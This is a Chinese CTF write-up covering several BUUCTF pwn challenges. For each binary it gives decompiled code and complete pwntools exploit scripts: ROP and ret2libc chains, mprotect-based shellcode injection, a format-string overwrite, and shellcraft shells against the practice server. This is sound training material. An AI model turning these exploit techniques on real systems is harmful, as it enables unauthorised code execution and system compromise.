BUUCTF 刷题笔记——PWN 2

2023-03-10 15:05:12 浏览数 (1)

BUUCTF 刷题笔记——PWN 2

not_the_same_3dsctf_2016

先验文件,本题文件为 32 为可执行文件,保护约等于没开。值得注意的是,该文件又是静态链接,因此又可以直接调用一些未被调用过的函数来解题,比如老朋友 mprotect() 函数。

代码语言:javascript复制
└─$ file not_the_same_3dsctf_2016
not_the_same_3dsctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped

└─$ checksec not_the_same_3dsctf_2016
[*] '/home/h-t-m/not_the_same_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

本地执行一遍,程序打印了一段莫名其妙的字符串,并等待用户输入,回车之后程序便会退出,此外并无任何其他信息。

代码语言:javascript复制
└─$ ./not_the_same_3dsctf_2016
b0r4 v3r s3 7u 4h o b1ch4o m3m0... h-t-m myr520

IDA 反编译查看伪代码,主函数非常简单,到此为止接触的一切都有些眼熟,貌似与 [get_started_3dsctf_2016](https://h-t-m.top/posts/9e217072#get-started-3dsctf-2016) 差不多的样子。同样使用了不作限制的 get() 函数,因此依然存在栈溢出。不过标题的 not_the_same 怕不是在暗示这一切的相似都是假象。

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[45]; // [esp Fh] [ebp-2Dh] BYREF

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(v4);
  return 0;
}

通过查看字符串发现有函数使用了 flag.txt 文件,显然 flag 就在这里,而打开它的是 get_secret() 函数。该函数读取了 flag.txt 文件内容并存入变量 fl4g 中,但是,但是他竟然没有输出。没输出就没输出,自行调用输出函数并传参就行了。

代码语言:javascript复制
int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}

get_secret

那么解题思路就出来了,通过栈溢出调用 get_secret() 函数并设置其返回至 printf() 函数,再将 fl4g 变量作为参数以 32 位程序直接压栈传参的方式传过去就成了。值得注意的是,同 get_started_3dsctf_2016 一样,本题文件的函数调用过程依然不涉及 ebp 的操作,所以栈溢出时不需要考虑他。当然还有程序正常退出的问题,毕竟非正常退出会导致回显阻断,因此 printf() 函数调用结束后务必返回到 exit() 函数来完成正常退出。构造 exp 如下:

代码语言:javascript复制
from pwn import *

#io = remote('node4.buuoj.cn',28919)
io = process('./not_the_same_3dsctf_2016')

get_secret_addr = 0x80489A0
printf_addr = 0x804F0A0
fl4g_addr = 0x80ECA2D
exit_addr = 0x804E660

payload = b'a' * 45   p32(get_secret_addr)
payload  = p32(printf_addr)   p32(exit_addr)   p32(fl4g_addr)
io.sendline(payload)
print(io.recv())

此外,本地测试时请务必创建好 flag.txt 文件。某人因为没有文件而报错弄了一晚上。本题到这里也就结束了,不过由于对 mprotect() 函数的解法依然不够熟悉,因此下面再练习一遍。

mprotect

首先还是挑一段空间来用于改写权限并写入 shellcode,这里依然选用 BSS 段的空间,当然还得按分页标准取末三位为 0 的内存区间。

mprotect() 函数调用结束后需要手动清理留在栈中的三个参数,以免影响后续写入函数的调用,随便找个三个 pop 加一个 ret 的 gadget 即可。构造该部分 payload 如下:

代码语言:javascript复制
mpt_addr = 0x806ED40
bss_addr = 0x80EC000
pop3_ret = 0x8085791
payload = b'a' * 45   p32(mpt_addr)   p32(pop3_ret)   p32(bss_addr)   p32(0x2000)   p32(7)

然后就是调用 read 函数来写入用户输入的 shellcode,调用流程与上述基本一致,同样需要自行清理栈中的参数以保证后续对于 shellcode 的执行。构造该部分 payload 如下:

代码语言:javascript复制
read_addr = 0x806E200
payload  = p32(read_addr)   p32(pop3_ret)   p32(0)   p32(bss_addr)   p32(0x2000)

最后让程序跳转到 shellcode 所在地执行就好,因此直接在现有 payload 后加上其地址即可,构造该部分 payload 如下:

代码语言:javascript复制
payload  = p32(bss_addr)

组合上述 payload 并配合输入生成好的 shellcode 即可,接下来就可以为所欲为了

代码语言:javascript复制
from pwn import *

io = remote('node4.buuoj.cn',28919)
#io = process('./not_the_same_3dsctf_2016')

mpt_addr = 0x806ED40
bss_addr = 0x80EC000
pop3_ret = 0x8085791
payload = b'a' * 45   p32(mpt_addr)   p32(pop3_ret)   p32(bss_addr)   p32(0x2000)   p32(7)

read_addr = 0x806E200
payload  = p32(read_addr)   p32(pop3_ret)   p32(0)   p32(bss_addr)   p32(0x2000)
payload  = p32(bss_addr)

shellcode = asm(shellcraft.sh())
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

ciscn_2019_n_5

先验文件,本题文件为 64 位可执行文件,保护依然基本没开,不过本题文件多出了一个 RWX 字段,告诉我们文件中含有可读可写可执行的内存段。也就是说上一题费好大力气使用 mprotect() 函数来修改权限来写入 shellcode,这题直接就给了这么一块空间可供写入并执行 shellcode。

代码语言:javascript复制
└─$ file ciscn_2019_n_5          
ciscn_2019_n_5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e420b4efe941251c692c93a7089b49b4319f891, with debug_info, not stripped

└─$ checksec ciscn_2019_n_5          
[*] '/home/h-t-m/ciscn_2019_n_5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

本地执行一遍,程序会询问用户姓名并等待输入,输入之后则会有一顿奉承然后继续等待用户输入,再次输入后重新便会退出。这两块地方大概率存在栈溢出。

代码语言:javascript复制
└─$ ./ciscn_2019_n_5
tell me your name
h-t-m
wow~ nice name!
What do you want to say to me?
myr520

IDA 反编译查看伪代码,主函数如下,大体内容与本地运行逻辑一致。不过两次读取用户输入的方式并不一样,读取姓名使用 read() 函数存入未在主函数内声明的 name 变量中,为全局变量,并未存储于栈空间中,因此该处不存在栈溢出。不过拿这块地址来存点东西给后面用倒是非常方便,毕竟地址固定而且内容完全由用户决定。后面一次数据读取直接使用 gets() 函数且无任何限制,因此此处存在栈溢出。

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp 0h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("tell me your name");
  read(0, &name, 0x64uLL);
  puts("wow~ nice name!");
  puts("What do you want to say to me?");
  gets(v4);
  return 0;
}

然而程序中并不存在后门函数,也没有啥好用的字符串出现。

ret2libc

除了栈溢出啥都不给的话,那就优先考虑 ret2libc,首先还是从栈溢出点之前已被调用的 puts() 函数入手拿他真实地址后三位来匹配 libc,然后计算出 libc 里的危险套装并调用执行就好了,当然该环境下需要注意平衡栈。

代码语言:javascript复制
from pwn import *
from LibcSearcher import LibcSearcher

io = remote('node4.buuoj.cn',28335)
# io = process("./ciscn_2019_n_5")

pop_rdi_ret = 0x400713
# 64 位程序,参数传入寄存器中
puts_got = 0x601018
puts_plt = 0x4004E0
back_addr = 0x400636
# 之后返回至主函数再次利用栈溢出来调用危险套装

io.sendline(b'h-t-m')
payload = b'a' * (32   8)   p64(pop_rdi_ret)   p64(puts_got)   p64(puts_plt)   p64(back_addr)
io.recv()
io.sendline(payload)

puts_addr = hex(u64(io.recvline()[:-1].ljust(8,b'')))
# 取出真实地址
libc = LibcSearcher('puts',int(puts_addr,16))

base = int(puts_addr,16) - libc.dump('puts')
sys_addr = base   libc.dump('system')
bin_sh_addr = base   libc.dump('str_bin_sh')
ret = 0x4004c9
# 环境为 Ubuntu 18,因此插入 ret 来平衡栈

io.sendline(b'h-t-m')
payload2 = b'a' * (32   8)   p64(ret)   p64(pop_rdi_ret)   p64(bin_sh_addr)   p64(sys_addr)
io.sendline(payload2)
io.interactive()

执行 BBS

ret2libc 虽然足以解题,但是本题显然该有更加丝滑的解法。程序提供了连续的两次输入读取,且含有可写可执行的内存,若第一次输入被保存的地址正好可写可读的话,那就可以在第一次输入 shellcode,而第二次利用栈溢出调用该地址的 shellcode。这样构造出来的 exp 也十分简单,shellcode 直接使用工具生成即可,值得注意的是,由于 pwntools 的默认架构是 i386,所以此前的 32 位平台可以直接生成 shellcode 来使用,而现在靶机环境为 64 位,因此需要将 context 模块的 arch 变量值设为 amd64。构造 exp 如下:

代码语言:javascript复制
from pwn import *
context.arch='amd64'

#io = process("./ciscn_2019_n_5")
io = remote('node4.buuoj.cn',26571)

name_addr = 0x0601080

payload = asm(shellcraft.sh()) 
io.send(payload)

io.recv()
payload = b'a' * 0x28   p64(name_addr)
io.sendline(payload)
io.interactive()

上述 exp 可以成功拿到 Shell,也说明了全局变量 name 所在的 .bss 段具有可执行权限,但事实上,在本地分析文件查看各段权限时会发现这些数据段都没有执行权限,NX 保护的开关所影响的只有栈内存的执行权限。

查阅了各种资料后发现实际的内存权限并不严格按照可执行文件中相应段属性来分配,其还需要依赖内存管理单元的行为,在一般情况下,内存管理单位会认为读取与执行权限是同级的,而写权限为更高级的权限,因此会出现拥有可读权限便拥有执行权限,而拥有写权限则拥有全部权限的情况。因此本题的文件在实际执行时各段的权限便会如下图所示,变量 name 所在的位置就变成了实际可执行的内存空间。

当然,在 NX 保护开启的情况下,所有的数据所在的内存页都会被标识为不可执行,因此不会存在实际执行时又获取执行权限的情况。

经过测试,在 Ubuntu 20 以后版本中,未开启 NX 保护的程序在实际运行时并不会获得执行权限,所以题给文件在这些环境下将无法通过 ret2shellcode 完成。在进一步的测试中,笔者也发现这并不是 Ubuntu 系统所作的更新,而是位于 Linux 内核上的更新,实测在长期支持版 5.10 及之后的 Linux 内核均作了此修改。至于该修改是否起源于哪个非长期支持版以及具体修改的代码内容,下次再来探索吧。

others_shellcode

先验文件,本题文件为 32 位可执行文件,NX 保护照常开启,除此之外还开启了 PIE 保护。

代码语言:javascript复制
└─$ file shell_asm     
shell_asm: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c1e8d8e26946c6b08794abdad991e3909e1bdc7f, not stripped

└─$ checksec shell_asm     
[*] '/home/h-t-m/shell_asm'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

本地执行一遍,发现直接获得了一个 Shell?

代码语言:javascript复制
└─$ ./shell_asm
$ h-t-m
/bin//sh: 1: h-t-m: not found
$ 

那就直接构造如下 exp 跟靶机交互一下就可以拿到 flag 了。

代码语言:javascript复制
from pwn import *

io = remote('node4.buuoj.cn',28426)

io.interactive()

这样的题目有点巴适就是说,浅看一下本题的源码,此前我们获取 Shell 基本是调用的,而本题则是通过系统调用 execve 函数来获取(在 eax 寄存器中存入系统调用号后通过 int 80h 中断进入内核,依照 eax 的系统调用号来完成指定调用)。值得一提的是,该函数也可用于绕开一些 64 位环境下调用 system() 函数时的栈对齐问题。

代码语言:javascript复制
push    ebp
mov     ebp, esp
call    __x86_get_pc_thunk_ax
add     eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
xor     edx, edx        ; envp
push    edx
push    68732F2Fh
push    6E69622Fh
mov     ebx, esp        ; file
push    edx
push    ebx
mov     ecx, esp        ; argv
mov     eax, 0FFFFFFFFh
sub     eax, 0FFFFFFF4h
; 计算结果为 execve 函数的系统调用号
int     80h             ; LINUX - sys_execve
nop
pop     ebp
retn

ciscn_2019_ne_5

先验文件,本题文件为 32 位可执行文件,照惯例开启了 NX 保护。

代码语言:javascript复制
└─$ file ciscn_2019_ne_5 
ciscn_2019_ne_5: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6482843cea0a0b348169075298025f13ef6c6ec2, not stripped

└─$ checksec ciscn_2019_ne_5 
[*] '/home/h-t-m/ciscn_2019_ne_5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

本地执行一遍,程序需要输入管理员密码,输入错误则程序中断。

代码语言:javascript复制
└─$ ./ciscn_2019_ne_5
Welcome to use LFS.
Please input admin password:h-t-m
Password Error!

IDA 反编译查看伪代码,主函数如下。所以一开始需要输入的密码为 administrator,密码正确之后便会列出四个选项供选择,分别调用了 AddLog()、Display()、Print() 以及程序终止的 exit() 函数,程序中的函数实现笔者放在了注释里。值得注意的是 Print() 函数打印字符串使用的是 system() 函数。

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp 0h] [ebp-100h] BYREF
  char src[4]; // [esp 4h] [ebp-FCh] BYREF
  char v6[124]; // [esp 8h] [ebp-F8h] BYREF
  char s1[4]; // [esp 84h] [ebp-7Ch] BYREF
  char v8[96]; // [esp 88h] [ebp-78h] BYREF
  int *p_argc; // [esp F4h] [ebp-Ch]

  p_argc = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf("0s", s1);
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  puts("Input your operation:");
  puts("1.Add a log.");
  puts("2.Display all logs.");
  puts("3.Print all logs.");
  printf("0.Exitn:");
  __isoc99_scanf("%d", &v4);
  switch ( v4 )
  {
    case 0:
      exit(0);
      return result;
    case 1:
      AddLog(src);
      // 读取用户输入并存入 src,限制输入 128 个字符
      // int __cdecl AddLog(int a1)
      // {
      //     printf("Please input new log info:");
      //     return __isoc99_scanf("8s", a1);
      // }
      result = sub_804892B(argc, argv, envp);
      // 相应函数调用完毕后返回菜单以供继续选择
      break;
    case 2:
      Display(src);
      // 调用 puts() 输出 src
      // int __cdecl Display(char *s)
      // {
      // 	return puts(s);
      // }
      result = sub_804892B(argc, argv, envp);
      break;
    case 3:
      Print();
      // 调用 system() 函数打印一串字符
      // int Print()
      // {
      // 	return system("echo Printing......");
      // }
      result = sub_804892B(argc, argv, envp);
      break;
    case 4:
      GetFlag(src);
      result = sub_804892B(argc, argv, envp);
      break;
    default:
      result = sub_804892B(argc, argv, envp);
      break;
  }
  return result;
}

此外,若用户选择了未列出的选项 4 则会调用隐藏的函数 GetFlag()。这函数名字就很引人注意。该函数使用 strcpy() 直接将变量 src 的值填入了变量 dest 中,而变量 src 则是在 AddLog() 函数中由用户输入的最高可达 128 字节的字符串,远超变量 dest 到栈底的空间,因此该处存在栈溢出。

代码语言:javascript复制
int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp 0h] [ebp-48h] BYREF
  char v3[60]; // [esp 4h] [ebp-44h] BYREF

  *(_DWORD *)dest = 48;
  memset(v3, 0, sizeof(v3));
  strcpy(dest, src);
  return printf("The flag is your log:%sn", dest);
}

存在栈溢出,也存在现成的 system() 函数,现在只需拿到字符串 /bin/sh 就可以获取 Shell 了,但是在 IDA 中 Shift F12 却并没有找到 /bin/sh。不过,由于 Linux 环境变量默认包含了 /bin 目录,因此要是有 sh 也是可以获取 Shell 的,所幸程序中包含字符串 fflush,我们截取最后两个字符即可,即地址为 0x80482EA

这里也可以直接使用 ROPgadget 工具来获取,更加丝滑一些,命令如下:

代码语言:javascript复制
ROPgadget --binary ./ciscn_2019_ne_5 --string 'sh'

然后就可以直接构造 exp 了,值得注意的是调用 system() 函数应使用其 PLT 地址,避免 call 指令对栈操作。

代码语言:javascript复制
from pwn import *

io = remote('node4.buuoj.cn',25096)

sys_addr = 0x80484D0
sh_addr = 0x80482EA
payload = b'a' * (0x48   4)   p32(sys_addr)   p32(0xdeadbeef)   p32(sh_addr)
												# 0xdeadbeef 一个有意思的十六进制魔数

io.sendline(b'administrator')
io.recv()
io.sendline(b'1')
io.recv()
io.sendline(payload)
io.recv()
io.sendline(b'4')

io.interactive()

铁人三项(第五赛区)_2018_rop

先验文件,本题文件为 32 位可执行文件,依然照惯例开启了 NX 保护。

代码语言:javascript复制
└─$ file ./2018_rop       
./2018_rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a6c3ab368d8cd315e3bb2b970556ed0510bca094, not stripped

└─$ checksec ./2018_rop       
[*] '/home/h-t-m/2018_rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

本地执行一遍,程序直接进入等待用户输入状态,输入完毕则打印 Hello, World 并退出。

代码语言:javascript复制
└─$ ./2018_rop
h-t-m myr520
Hello, World

IDA 反编译查看伪代码,主函数仅进行了调用三个函数的操作。其中 vulnerable_function() 函数负责读取用户输入并保存至局部变量 buf 中,限制输入字符数为 0x100,而对应变量距离栈底偏移为 0x88,因此此处存在栈溢出。

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  be_nice_to_people();
  // 该函数用于设置权限信息,与解题无关
  // int be_nice_to_people()
  // {
  // 	__gid_t v1; // [esp 1Ch] [ebp-Ch]
  //
  // 	v1 = getegid();
  // 	return setresgid(v1, v1, v1);
  // }
  vulnerable_function();
  // 读取用户输入
  // ssize_t vulnerable_function()
  // {
  // 	char buf[136]; // [esp 10h] [ebp-88h] BYREF
  //
  // 	return read(0, buf, 0x100u);
  // }
  return write(1, "Hello, Worldn", 0xDu);
}

由于在程序中并未找到可用于获得 Shell 的危险套装,因此本题还是得 ret2libc,这里让 write() 函数输出已经被调用过的 read() 函数的真实地址。当然也可输出 write() 函数自身的真实地址,虽然此前其并未被程序调用,但是我们的输出操作一开始便调用了他,因此对应 GOT 表中为真实地址。

代码语言:javascript复制
from pwn import *
from LibcSearcher import *

# io = process("./2018_rop")
io = remote('node4.buuoj.cn',25252)
elf = ELF('./2018_rop')

read_got = elf.got['read']
write_plt = elf.plt['write']
main_addr = 0x80484C6

payload = b'a' * (0x88   4)   p32(write_plt)   p32(main_addr)   p32(1)   p32(read_got)   p32(4)
io.sendline(payload)

read_addr = hex(u32(io.recv().ljust(4,b'')))
# print(read_addr)

libc = LibcSearcher('read',int(read_addr,16))
base = int(read_addr,16) - libc.dump('read')
sys_addr = base   libc.dump('system')
bin_sh_addr = base   libc.dump('str_bin_sh')

payload2 = b'a' * (0x88   4)   p32(sys_addr)   p32(0xdeadbeef)   p32(bin_sh_addr)
io.sendline(payload2)

io.interactive()

bjdctf_2020_babyrop

先验文件,本题文件为 64 位可执行文件,依然照惯例开启了 NX 保护。

代码语言:javascript复制
└─$ file ./bjdctf_2020_babyrop 
./bjdctf_2020_babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebe33bb41cb0dcdde518b9dfb38eb03a104ee0b7, not stripped

└─$ checksec ./bjdctf_2020_babyrop 
[*] '/home/h-t-m/bjdctf_2020_babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

本地执行一遍,社牛程序一顿豪情壮志之后等待用户输入,输入完成之后程序终止。提示本题为 ret2libc。

代码语言:javascript复制
└─$ ./bjdctf_2020_babyrop
Can u return to libc ?
Try u best!
Pull up your sword and tell me u story!
h-t-m myr520

IDA 反编译查看伪代码,主函数调用了两个函数,其中 vuln() 函数读取用户输入的阈值远超所占栈空间大小,因此存在栈溢出。

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  // 初始化并打印字符串
  // int init()
  // {
  // 	setvbuf(stdout, 0LL, 2, 0LL);
  // 	setvbuf(stdin, 0LL, 1, 0LL);
  // 	puts("Can u return to libc ?");
  // 	return puts("Try u best!");
  // }
  vuln(argc, argv);
  // 打印字符串并读取输入
  // ssize_t vuln()
  // {
  // 	char buf[32]; // [rsp 0h] [rbp-20h] BYREF
  //
  // 	puts("Pull up your sword and tell me u story!");
  // 	return read(0, buf, 0x64uLL);
  // }
  return 0;
}

简单查阅过后发现程序确实没有现成的危险套装,所以还是遵从提示用 ret2libc 解题,使用 puts() 函数泄露本身地址即可。当然,与前一关不同,本题为 64 位环境,因此需要使用寄存器传参。构造 exp 如下:

代码语言:javascript复制
from pwn import *
from LibcSearcher import *

#io = process("./bjdctf_2020_babyrop")
io = remote('node4.buuoj.cn',25910)
elf = ELF('./bjdctf_2020_babyrop')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x400733
vuln_addr = 0x40067D
# 返回该函数即可

payload = b'a' * (0x20   8)   p64(pop_rdi_ret)   p64(puts_got)   p64(puts_plt)   p64(vuln_addr)
io.recv()
io.sendline(payload)

puts_addr = hex(u64(io.recvline()[0:-1].ljust(8,b'')))
# puts_addr = hex(u64(io.recv(6).ljust(8,b'')))
# 此处若使用 recv() 函数接收则需仅接收 6 位,
# 因为真实地址有效部分仅占前 6 位,直接接收会
# 将后续程序打印的字符串全部接收造成错误。
# print(puts_addr)

libc = LibcSearcher('puts',int(puts_addr,16))
base = int(puts_addr,16) - libc.dump('puts')
sys_addr = base   libc.dump('system')
bin_sh_addr = base   libc.dump('str_bin_sh')

payload2 = b'a' * (0x20   8)   p64(pop_rdi_ret)   p64(bin_sh_addr)   p64(sys_addr)
io.sendline(payload2)

io.interactive()

bjdctf_2020_babystack2

先验文件,本题文件为 64 位可执行文件,依旧照例开启 NX 保护。

代码语言:javascript复制
└─$ file ./bjdctf_2020_babystack2  
./bjdctf_2020_babystack2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98383c4b37ec43aae16b46971bd5ead3f03ce0a6, not stripped

└─$ checksec ./bjdctf_2020_babystack2 
[*] '/home/h-t-m/bjdctf_2020_babystack2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

本地执行一下,映入眼帘的是社牛程序 DJ 款,一通狂欢后提示用户输入姓名的长度,而后则提示输入姓名,其中超过此前输入的长度部分会保留在缓存区,表现为程序接收姓名并终止后剩余字符会在本地 Shell 继续存在。

代码语言:javascript复制
└─$ ./bjdctf_2020_babystack2
**********************************
*     Welcome to the BJDCTF!     *
* And Welcome to the bin world!  *
*  Let's try to pwn the world!   *
* Please told me u answer loudly!*
[ ]Are u ready?
[ ]Please input the length of your name:
9
[ ]What's u name?
h-t-m myr520

└─$ 520
520: command not found

IDA 反编译查看伪代码,主函数与本地执行的逻辑基本一致,但是对姓名的长度作了限制,长度大于十便会异常退出。而长度作为读取后续输入的限制条件,这么小的范围正常输入显然是无法栈溢出的。不过,在使用 read() 函数读取输入时,程序将作为作为长度限制的整形值做了无符号转换(unsigned),因此若输入值为负数时,不仅可以通过 if 判断,对于输入的读取限制也会扩大到可供栈溢出。(-1 补码为 11111111,无符号转换后为 255。)

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp 0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp Ch] [rbp-4h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[ ]Are u ready?");
  puts("[ ]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  if ( (int)nbytes > 10 )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[ ]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}

在主函数旁边还有一个后门函数,包含了完整危险套装的调用,因此只需想办法调用该函数即可。

代码语言:javascript复制
__int64 backdoor()
{
  system("/bin/sh");
  return 1LL;
}

栈溢出存在,危险套装都是现成的,因此本题可直接构造如下 payload:

代码语言:javascript复制
from pwn import *

#io = process("./bjdctf_2020_babystack2")
io = remote('node4.buuoj.cn',29589)

bd_addr = 0x400726

payload = b'a' * (0x10   8)   p64(bd_addr)
io.recv()
io.sendline(b'-1')
io.recv()
io.sendline(payload)

io.interactive()

jarvisoj_fm

先验文件,本题文件为 32 位可执行文件,开了 NX 与 Canary 保护,Canary 保护会在栈底放入随机数据并每次验证,即以往常规的栈溢出均不能使用,因为会破坏该验证数据。

代码语言:javascript复制
└─$ file ./fm                    
./fm: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=e1629654d12bffd18080971a87fb52d9fc88b212, not stripped
                                                                                                                                                                                
┌──(h-t-m㉿h-t-m-kali)-[~]
└─$ checksec ./fm                    
[*] '/home/h-t-m/fm'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

本地执行一遍,程序直接等待用户输入,读取之后则输出用户输入的内容并换行输出两个字符 3! 后终止。

代码语言:javascript复制
└─$ ./fm                    
h-t-m myr520
h-t-m myr520
3!

IDA 反编译查看伪代码,主函数中除了本地执行的基本操作外,额外还有对变量 x 的判断,若该值为 4 则直接给出 Shell,但是 x 为已定义为 3 的全局变量。由于程序读取数据后使用 printf() 函数输出数据,因此这里存在一个格式化字符串漏洞,可通过该漏洞完成内存数据改写。好久没实战过的漏洞,上一次还是在 [第五空间2019-决赛-PWN5](https://h-t-m.top/posts/9e217072/#第五空间2019-决赛-PWN5)。

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [esp 2Ch] [ebp-5Ch] BYREF
  unsigned int v5; // [esp 7Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  be_nice_to_people();
  memset(buf, 0, sizeof(buf));
  read(0, buf, 0x50u);
  printf(buf);
  printf("%d!n", x);
  if ( x == 4 )
  {
    puts("running sh...");
    system("/bin/sh");
  }
  return 0;
}

首先本地运行并输入如下格式化字符来检验格式化后的字符串在栈中较原参数位的偏移量,通过程序输出结果可看出偏移量为 11(四个字节)。

代码语言:javascript复制
└─$ ./fm                                                                
AAAA-x-x-x-x-x-x-x-x-x-x-x
AAAA-fff0a81c-00000050-000003e8-000003e8-ffffffff-000003e8-fff0a934-f7f255c8-0000002c-0000003c-41414141
3!

手写 payload

接下来使用 %n 来对指定位置的数据指向的位置进行写入即可,由于偏移量为 11,所以使用 $n。而对于写入数据的控制,只需保证此前正常输出四个字节即可,而变量 x 的地址值正好。因此构造 exp 如下:

代码语言:javascript复制
from pwn import *

#io = process("./fm")
io = remote("node4.buuoj.cn",29730)

x_addr = 0x804A02C

payload = p32(x_addr)   b'$n'
io.sendline(payload)

io.interactive()

fmtstr_payload

使用 fmtstr_payload() 的形势如下,还是得题目再复杂点时使用工具才会显得优雅。

代码语言:javascript复制
from pwn import *

#io = process("./fm")
io = remote("node4.buuoj.cn",29730)

x_addr = 0x804A02C

payload = fmtstr_payload(11,{x_addr:4})
io.sendline(payload)

io.interactive()

pwn2_sctf_2016

先验文件,本题文件为 32 位可执行文件,仅开启 NX 保护。

代码语言:javascript复制
└─$ file ./pwn2_sctf_2016 
./pwn2_sctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4b6d53bc9aca0e73953173f153dc75bd540d6a48, not stripped

└─$ checksec ./pwn2_sctf_2016 
[*] '/home/h-t-m/pwn2_sctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

本地执行一下,程序询问将输入的数据长度并请求用户输入相应长度的数据,随后会将用户的数据按预定要求打印出来。

代码语言:javascript复制
└─$ ./pwn2_sctf_2016
How many bytes do you want me to read? 9
Ok, sounds good. Give me 9 bytes of data!
h-t-m myr520
You said: h-t-m myr

IDA 反编译查看伪代码,主函数主要调用了 vuln() 函数,该函数符合本地调用时的行为,对于用户初始设置的长度程序做了最大 32 的限制。此外,程序读取用户输入使用自定义的 get_n() 函数,限制长度的参数为 unsigned int,所以当输入长度值为负数时可绕过限制,即存在栈溢出。

代码语言:javascript复制
int vuln()
{
	char nptr[32]; // [esp 1Ch] [ebp-2Ch] BYREF
	int v2; // [esp 3Ch] [ebp-Ch]
    
	printf("How many bytes do you want me to read? ");
	get_n(nptr, 4);
    // int __cdecl get_n(int a1, unsigned int a2)
    // {
    //   unsigned int v2; // eax
    //   int result; // eax
    //   char v4; // [esp Bh] [ebp-Dh]
    //   unsigned int i; // [esp Ch] [ebp-Ch]
    //
    //   for ( i = 0; ;   i )
    //   {
    //     v4 = getchar();
    //     if ( !v4 || v4 == 10 || i >= a2 )
    //       break;
    //     v2 = i;
    //     *(_BYTE *)(v2   a1) = v4;
    //   }
    //   result = a1   i;
    //   *(_BYTE *)(a1   i) = 0;
    //   return result;
    // }
	v2 = atoi(nptr);
	if ( v2 > 32 )
		return printf("No! That size (%d) is too large!n", v2);
	printf("Ok, sounds good. Give me %u bytes of data!n", v2);
	get_n(nptr, v2);
	return printf("You said: %sn", nptr);
}

